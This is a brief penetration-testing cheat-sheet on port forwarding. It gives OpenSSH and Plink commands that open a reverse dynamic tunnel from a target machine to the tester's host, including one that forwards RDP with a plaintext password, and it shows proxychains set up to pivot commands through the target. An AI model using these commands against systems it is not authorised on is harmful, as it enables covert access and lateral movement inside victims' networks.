Port Forwarding

Table of contents

  1. Exploit

Exploit

Multiple tools can be used to perform port forwarding, depending on your target.

  • OpenSSH
  • Plink (PuTTY command line)
# Vreate a remote dynamic port forward to your environement using OpenSSH
ssh -N -R $LPORT $USERNAME@$LHOST

# Create a remote dynamic port forward to your environement using Plink
plink.exe -ssh -l $USERNAME -pw $PASSWORD -R 127.0.0.1:$LPORT:127.0.0.1:3389 $LHOST

Once you created the remote dynamic port forward, type following commands on your environement to use it.

# On your environement, check SOCKS port is opened
ss -ntplu

# Modify your proxychains configuration
echo "socks5 127.0.0.1 $LPORT" >> /etc/proxychains4.conf

# You can now proxychain your commands through your target
proxychains $CMD